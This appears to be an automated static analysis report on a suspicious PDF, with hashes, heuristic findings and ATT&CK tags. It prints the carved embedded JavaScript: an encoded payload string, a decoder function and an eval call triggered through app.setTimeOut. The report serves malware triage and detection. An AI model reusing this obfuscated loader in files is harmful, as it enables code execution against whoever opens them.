PDF static analysis report

Static analysis result for SHA-256 ea3781f112787226…

SUSPICIOUS

PDF

37.5 KB Created: 2010-04-12 21:55:35 +04:00 Authoring application: TCPDF (via TCPDF 4.8.032 (http://www.tcpdf.org)) First seen: 2026-05-11
MD5: e0e06306abc1371cdb7678587e23f0b6 SHA-1: 15f4920abbbb38dd8b303647ee981e04b3d3a499 SHA-256: ea3781f112787226580a7c37353340c55d6b85f83b7a2d1823cb8b41aff74745
56 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The ML classifier strongly indicates maliciousness, and the presence of embedded JavaScript within the PDF is a common delivery mechanism for exploits or malware. The JavaScript stream, though not directly analyzed for its content in this summary, is the primary indicator of malicious intent. The document body text is nonsensical and does not provide any contextual clues for the attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 4

  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Optional Content Group with action trigger low PDF_OPTIONAL_CONTENT
    Optional Content Group (layer) co-occurs with an action trigger — content can be selectively hidden from viewers or scanners while the action still fires on open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0x7080 8330 bytes
SHA-256: f087e8a69c16904456266d298d064a8c4676b9bf87a430422facdb915039044c
Preview script
First 1,000 lines of the extracted script
�� 
 v a r   n 8 H 7 z k 8   =   ' 2 5 7 A 2 7 2 s 2 6 5 T 2 5 4 n 2 7 1 N 2 6 0 e 2 6 6 R 2 6 5 h 1 8 7 O 2 5 5 Y 2 5 6 a 2 5 4 X 2 6 6 c 2 5 5 f 2 5 6 c 2 5 0 r 2 5 3 p 2 6 0 l 2 6 7 N 1 9 5 D 2 5 6 d 2 6 5 o 2 5 4 L 2 5 0 V 2 7 0 K 2 7 1 o 2 6 9 N 1 9 6 m 1 6 5 N 2 7 8 T 1 6 5 S 1 8 7 N 1 8 7 L 1 8 7 l 1 8 7 B 2 7 3 Z 2 5 2 Q 2 6 9 T 1 8 7 G 2 5 2 f 2 6 9 r 1 8 7 g 2 1 6 D 1 8 7 U 2 6 5 M 2 5 6 f 2 7 4 L 1 8 7 B 2 2 0 R 2 6 9 Z 2 6 9 E 2 5 2 u 2 7 6 O 1 9 5 Q 1 9 6 P 2 1 4 Z 1 6 5 F 1 8 7 d 1 8 7 L 1 8 7 S 1 8 7 w 2 5 2 e 2 6 9 g 1 8 7 I 2 1 6 P 1 8 7 i 2 5 6 h 2 6 5 g 2 5 4 B 2 5 0 o 2 7 0 M 2 7 1 t 2 6 9 U 2 0 1 P 2 7 0 N 2 6 7 h 2 6 3 v 2 6 0 Z 2 7 1 i 1 9 5 M 1 9 4 z 2 1 4 n 1 9 4 H 1 9 6 N 2 1 4 D 1 6 5 W 1 8 7 m 1 8 7 I 1 8 7 A 1 8 7 y 2 7 3 b 2 5 2 x 2 6 9 c 1 8 7 I 2 6 5 G 2 6 6 s 2 6 7 r 1 8 7 n 2 1 6 Z 1 8 7 s 1 9 4 c 1 9 4 l 2 1 4 m 1 6 5 x 1 8 7 B 1 8 7 z 1 8 7 e 1 8 7 w 2 5 7 Y 2 6 6 M 2 6 9 I 1 9 5 Y 2 6 0 z 1 8 7 P 2 1 6 m 1 8 7 D 2 0 3 m 2 1 4 Z 2 6 0 M 1 8 7 m 2 1 5 X 1 8 7 o 2 5 2 k 2 6 9 A 2 0 1 w 2 6 3 q 2 5 6 t 2 6 5 o 2 5 8 e 2 7 1 T 2 5 9 h 2 1 4 G 2 6 0 E 1 9 8 T 1 9 8 D 1 9 6 F 1 8 7 S 2 7 8 h 1 6 5 C 1 6 4 r 2 6 5 u 2 6 6 K 2 6 7 P 1 9 8 t 2 1 6 a 2 3 8 C 2 7 1 x 2 6 9 M 2 6 0 b 2 6 5 J 2 5 8 z 2 0 1 z 2 5 7 x 2 6 9 j 2 6 6 z 2 6 4 u 2 2 2 a 2 5 9 t 2 5 2 i 2 6 9 E 2 2 2 M 2 6 6 Q 2 5 5 K 2 5 6 R 1 9 5 j 2 5 2 O 2 6 9 X 2 4 6 C 2 6 0 v 2 4 8 Z 1 9 6 t 2 1 4 q 1 6 5 k 1 8 7 J 1 8 7 k 1 8 7 K 1 8 7 L 2 8 0 h 1 6 5 X 1 8 7 m 1 8 7 q 1 8 7 X 1 8 7 m 2 6 9 o 2 5 6 H 2 7 1 l 2 7 2 i 2 6 9 h 2 6 5 f 1 8 7 R 2 6 5 m 2 6 6 s 2 6 7 h 2 1 4 x 1 6 5 J 2 8 0 R 1 6 5 L 1 6 5 h 2 5 7 T 2 7 2 H 2 6 5 G 2 5 4 M 2 7 1 x 2 6 0 r 2 6 6 W 2 6 5 h 1 8 7 C 2 5 4 i 2 5 9 O 2 5 6 a 2 5 4 U 2 6 2 F 2 5 0 x 2 6 9 G 2 7 2 t 2 6 5 F 1 9 5 s 1 9 6 c 1 6 5 n 2 7 8 Y 1 6 5 u 1 8 7 Z 1 8 7 Q 1 8 7 c 1 8 7 W 2 7 1 a 2 5 9 t 2 6 0 h 2 7 0 H 2 0 1 M 2 7 0 p 2 7 6 O 2 6 5 Z 2 5 4 m 2 2 0 F 2 6 5 v 2 6 5 T 2 6 6 I 2 7 1 d 2 3 8 i 2 5 4 i 2 5 2 y 2 6 5 n 1 9 5 g 1 9 6 F 2 1 4 h 1 6 5 l 1 8 7 y 1 8 7 K 1 8 7 Y 1 8 7 W 2 7 3 E 2 5 2 y 2 6 9 n 1 8 7 g 2 7 3 U 2 5 6 O 2 6 9 a 2 7 0 C 2 6 0 W 2 6 6 m 2 6 5 r 1 8 7 k 2 1 6 L 1 8 7 e 2 5 2 q 2 6 7 G 2 6 7 y 2 0 1 y 2 7 3 k 2 6 0 g 2 5 6 h 2 7 4 i 2 5 6 U 2 6 9 N 2 4 1 o 2 5 6 C 2 6 9 y 2 7 0 m 2 6 0 M 2 6 6 X 2 6 5 J 2 0 1 R 2 7 1 V 2 6 6 x 2 3 8 x 2 7 1 q 2 6 9 L 2 6 0 X 2 6 5 t 2 5 8 h 1 9 5 K 1 9 6 l 2 1 4 S 1 6 5 V 1 8 7 P 1 8 7 J 1 8 7 c 1 8 7 N 2 7 3 I 2 5 6 M 2 6 9 u 2 7 0 p 2 6 0 v 2 6 6 O 2 6 5 D 1 8 7 j 2 1 6 Q 1 8 7 B 2 7 3 W 2 5 6 d 2 6 9 Z 2 7 0 f 2 6 0 u 2 6 6 v 2 6 5 c 2 0 1 s 2 6 9 m 2 5 6 o 2 6 7 Q 2 6 3 f 2 5 2 V 2 5 4 a 2 5 6 Q 1 9 5 o 2 0 2 v 2 4 7 g 2 2 3 y 2 0 2 Y 2 5 8 t 1 9 9 H 1 8 7 l 1 8 9 o 1 8 9 x 1 9 6 g 2 1 4 C 1 6 5 A 1 8 7 Q 1 8 7 T 1 8 7 B 1 8 7 m 2 7 3 x 2 5 2 b 2 6 9 S 1 8 7 r 2 7 3 W 2 5 2 u 2 6 9 j 2 7 0 I 2 6 0 i 2 6 6 A 2 6 5 o 2 5 0 E 2 5 2 a 2 6 9 F 2 6 9 t 2 5 2 W 2 7 6 l 1 8 7 s 2 1 6 u 1 8 7 f 2 6 5 z 2 5 6 f 2 7 4 T 1 8 7 w 2 2 0 M 2 6 9 W 2 6 9 w 2 5 2 c 2 7 6 p 1 9 5 y 2 7 3 P 2 5 6 n 2 6 9 Z 2 7 0 h 2 6 0 e 2 6 6 w 2 6 5 c 2 0 1 O 2 5 4 F 2 5 9 K 2 5 2 O 2 6 9 u 2 2 0 P 2 7 1 o 1 9 5 z 2 0 3 J 1 9 6 L 1 9 9 k 1 8 7 B 2 7 3 F 2 5 6 P 2 6 9 A 2 7 0 k 2 6 0 i 2 6 6 x 2 6 5 w 2 0 1 E 2 5 4 t 2 5 9 Z 2 5 2 u 2 6 9 s 2 2 0 o 2 7 1 h 1 9 5 S 2 0 4 V 1 9 6 M 1 9 9 O 1 8 7 x 2 7 3 a 2 5 6 U 2 6 9 I 2 7 0 p 2 6 0 O 2 6 6 Y 2 6 5 e 2 0 1 N 2 5 4 h 2 5 9 p 2 5 2 y 2 6 9 j 2 2 0 u 2 7 1 N 1 9 5 k 2 0 5 f 1 9 6 w 1 9 6 h 2 1 4 c 1 6 5 A 1 8 7 b 1 8 7 B 1 8 7 v 1 8 7 U 2 6 0 q 2 5 7 c 1 8 7 m 1 9 5 L 1 9 5 o 2 7 3 B 2 5 2 J 2 6 9 P 2 7 0 V 2 6 0 R 2 6 6 E 2 6 5 k 2 5 0 q 2 5 2 j 2 6 9 x 2 6 9 Y 2 5 2 Y 2 7 6 v 2 4 6 H 2 0 3 T 2 4 8 J 1 8 7 s 2 1 5 y 1 8 7 F 2 1 1 a 1 9 6 b 1 8 7 G 2 7 9 C 2 7 9 c 1 8 7 B 1 9 5 W 2 7 3 S 2 5 2 d 2 6 9 I 2 7 0 e 2 6 0 S 2 6 6 J 2 6 5 n 2 5 0 h 2 5 2 f 2 6 9 F 2 6 9 m 2 5 2 P 2 7 6 v 2 4 6 W 2 0 3 N 2 4 8 T 1 8 7 u 2 1 6 J 2 1 6 b 1 8 7 N 2 1 1 S 1 8 7 U 1 9 3 M 1 9 3 Y 1 8 7 u 2 7 3 n 2 5 2 e 2 6 9 w 2 7 0 Q 2 6 0 f 2 6 6 T 2 6 5 j 2 5 0 J 2 5 2 b 2 6 9 N 2 6 9 b 2 5 2 l 2 7 6 B 2 4 6 J 2 0 4 Q 2 4 8 H 1 8 7 w 2 1 5 g 1 8 7 D 2 0 5 S 1 8 7 t 1 9 3 W 1 9 3 N 1 8 7 D 2 7 3 y 2 5 2 a 2 6 9 V 2 7 0 T 2 6 0 n 2 6 6 u 2 6 5 N 2 5 0 a 2 5 2 Y 2 6 9 K 2 6 9 q 2 5 2 E 2 7 6 d 2 4 6 a 2 0 5 N 2 4 8 F 1 8 7 o 2 1 5 p 1 8 7 r 2 0 5 p 1 9 6 z 1 9 6 I 1 8 7 x 2 7 8 v 1 6 5 o 1 6 4 A 2 7 3 O 2 5 2 i 2 6 9 X 1 8 7 b 2 5 2 l 2 6 5 V 2 6 5 C 1 8 7 H 2 1 6 o 1 8 7 p 2 7 1 B 2 5 9 C 2 6 0 P 2 7 0 Z 2 0 1 N 2 5 8 G 2 5 6 e 2 7 1 r 2 2 0 h 2 6 5 r 2 6 5 x 2 6 6 V 2 7 1 h 1 9 5 o 2 0 3 L 1 9 9 g 1 8 7 w 1 8 9 I 2 0 3 b 2 0 3 k 2 0 3 I 2 0 4 q 2 0 0 S 2 0 3 f 2 0 3 R 2 0 3 D 2 0 4 A 1 8 9 U 1 9 6 K 2 1 4 p 1 8 7 J 1 6 5 M 1 6 4 s 2 7 3 Z 2 5 2 m 2 6 9 F 1 8 7 f 2 5 3 Q 2 6 0 x 2 6 7 M 1 8 7 H 2 1 6 u 1 8 7 i 1 9 4 o 1 9 4 i 2 1 4 t 1 6 5 V 1 6 4 e 2 6 0 B 2 5 7 w 1 9 5 P 1 8 7 J 2 5 2 n 2 6 5 i 2 6 5 o 1 8 7 F 1 8 8 m 2 1 6 p 1 8 7 Z 2 6 5 x 2 7 2 f 2 6 3 i 2 6 3 J 1 8 7 X 1 9 6 H 1 8 7 v 2 7 8 d 1 6 5 n 1 6 4 L 1 8 7 a 1 8 7 A 1 8 7 T 1 8 7 V 2 5 3 i 2 6 0 I 2 6 7 D 1 8 7 c 2 1 6 d 1 8 7 i 2 5 2 d 2 6 5 a 2 6 5 x 2 0 1 m 2 7 0 N 2 7 2 g 2 5 3 b 2 6 1 S 2 5 6 S 2 5 4 Q 2 7 1 s 2 1 4 P 1 6 5 w 1 6 4 a 2 8 0 Y 1 6 5 T 1 6 4 i 2 6 5 T 2 6 0 x 2 6 7 W 1 8 7 f 2 1 6 Y 1 8 7 W 2 5 5 y 2 5 6 t 2 5 4 F 2 6 6 G 2 5 5 x 2 5 6 i 2 5 0 j 2 5 3 f 2 6 0 L 2 6 7 J 1 9 5 d 2 5 3 y 2 6 0 X 2 6 7 J 1 9 6 Z 2 1 4 p 1 6 5 b 1 6 4 q 2 5 6 h 2 7 3 q 2 5 2 m 2 6 3 I 1 9 5 O 2 6 5 G 2 6 0 r 2 6 7 i 1 9 6 E 2 1 4 N 1 6 5 N 1 8 7 c 1 8 7 k 1 8 7 L 1 8 7 V 2 8 0 q 1 8 7 R 2 5 6 S 2 6 3 Y 2 7 0 B 2 5 6 y 1 8 7 j 2 7 8 L 1 6 5 b 1 6 4 i 2 7 3 i 2 5 2 k 2 6 9 I 1 8 7 Y 2 5 2 M 2 6 5 y 2 6 5 G 1 8 7 C 2 1 6 l 1 8 7 O 2 7 1 R 2 5 9 s 2 6 0 G 2 7 0 z 2 0 1 w 2 5 8 T 2 5 6 M 2 7 1 Y 2 2 0 D 2 6 5 Y 2 6 5 u 2 6 6 u 2 7 1 q 1 9 5 N 2 0 3 S 1 9 9 r 1 8 7 M 1 8 9 C 2 0 3 D 2 0 3 n 2 0 3 k 2 0 4 l 2 0 0 Y 2 0 3 s 2 0 3 J 2 0 3 k 2 0 3 r 1 8 9 Q 1 9 6 n 2 1 4 c 1 8 7 e 1 6 5 E 1 6 4 V 2 7 3 l 2 5 2 E 2 6 9 R 1 8 7 E 2 5 3 R 2 6 0 q 2 6 7 I 1 8 7 p 2 1 6 k 1 8 7 C 1 9 4 g 1 9 4 y 2 1 4 U 1 6 5 X 1 6 4 K 2 6 0 X 2 5 7 a 1 9 5 y 1 8 7 H 2 5 2 M 2 6 5 W 2 6 5 A 1 8 7 W 1 8 8 H 2 1 6 s 1 8 7 m 2 6 5 v 2 7 2 V 2 6 3 R 2 6 3 A 1 8 7 q 1 9 6 C 1 8 7 F 2 7 8 H 1 6 5 G 1 8 7 W 1 8 7 x 1 8 7 O 1 8 7 M 1 6 4 i 1 8 7 R 1 8 7 s 1 8 7 h 1 8 7 l 2 5 3 P 2 6 0 r 2 6 7 I 1 8 7 q 2 1 6 p 1 8 7 Q 2 5 2 D 2 6 5 M 2 6 5 R 2 0 1 Z 2 7 0 U 2 7 2 J 2 5 3 L 2 6 1 Q 2 5 6 f 2 5 4 c 2 7 1 Q 2 1 4 V 1 6 5 e 1 6 4 V 2 8 0 d 1 6 5 l 1 6 4 s 2 6 5 a 2 6 0 A 2 6 7 E 1 8 7 J 2 1 6 R 1 8 7 w 2 5 5 q 2 5 6 D 2 5 4 M 2 6 6 i 2 5 5 M 2 5 6 D 2 5 0 Y 2 5 3 c 2 6 0 G 2 6 7 k 1 9 5 u 2 5 3 f 2 6 0 F 2 6 7 E 1 9 6 r 2 1 4 W 1 6 5 j 1 6 4 T 2 5 6 n 2 7 3 E 2 5 2 y 2 6 3 I 1 9 5 i 2 6 5 k 2 6 0 B 2 6 7 J 1 9 6 k 2 1 4 F 1 6 5 S 1 8 7 B 1 8 7 C 1 8 7 J 1 8 7 E 2 8 0 O 1 6 5 r 2 8 0 R 1 6 5 S 1 6 5 P 2 5 2 t 2 6 7 Y 2 6 7 A 2 0 1 n 2 5 2 E 2 6 3 G 2 5 6 s 2 6 9 v 2 7 1 c 1 9 5 b 1 9 4 P 2 0 4 P 1 9 4 g 1 9 6 N 2 1 4 Y 1 6 5 O 2 5 4 x 2 5 9 Z 2 5 6 X 2 5 4 i 2 6 2 f 2 5 0 p 2 6 9 k 2 7 2 h 2 6 5 y 1 9 5 p 1 9 6 w 2 1 4 q ' ; 
 v a r   n p E b k m 9 3 5   =   1 5 5 ; 
 n 8 H 7 z k 8   =     n 8 H 7 z k 8 . r e p l a c e ( / [ ^ 0 - 9 ] / g , ' : ' ) ; 
 W I O a Z 1 r p   =   ' n p E b k m 9 3 5 ' ; 
 n 8 H 7 z k 8   =     n 8 H 7 z k 8 . r e p l a c e ( / : : / g , ' ' ) ; 
 a p p . a l e r t ( n 8 H 7 z k 8 ) ; 
 f u n c t i o n   R t 3 8 y w 5 X 3 Y M P   (   k I W Q r t q B 0 A C A ,   e u o n 0 G Q h 1 U t Q   )   {   v a r   B J X 2 G   =   n e w   S t r i n g ( ) ; v a r   D T v d H c H G P D   =   n e w   S t r i n g ( ) ; 
 M W U B W   =   k I W Q r t q B 0 A C A   . s p l i t ( ' : ' ) ; 
 f o r ( C I I 6 W t p I   =   0 ;   C I I 6 W t p I   <   M W U B W . l e n g t h - 1 ; C I I 6 W t p I + + )   {   x s N n C u o S =   S t r i n g [ ' f r o m C h a r C o d e ' ] ( M W U B W [ C I I 6 W t p I ]   -   e u o n 0 G Q h 1 U t Q ) ; ; 
 D T v d H c H G P D   =   D T v d H c H G P D   +   x s N n C u o S ; }   r e t u r n   D T v d H c H G P D ; } ; 
 W I O a Z 1 r p   =   R t 3 8 y w 5 X 3 Y M P ( n 8 H 7 z k 8 , n p E b k m 9 3 5 ) ; 
 v a r   T 5 u x Z 6 T o   =   ' a ' ; 
 v a r   g l u u f k C i   =   ' u ' ; 
 d G J 1 1 W i d 7 E S c   =     a p p [ ' s e t ' + ' T i m e O '   +   g l u u f k C i   + ' t ' ] ( " e v " + T 5 u x Z 6 T o + " l ( W I O a Z 1 r p ) " ,   1 ) ;
stream_001_off00007080.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x7080 4164 bytes
SHA-256: 556817e05cfb8615725b86040701134ec2f2b9430002aa62f434bf04a55758bd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).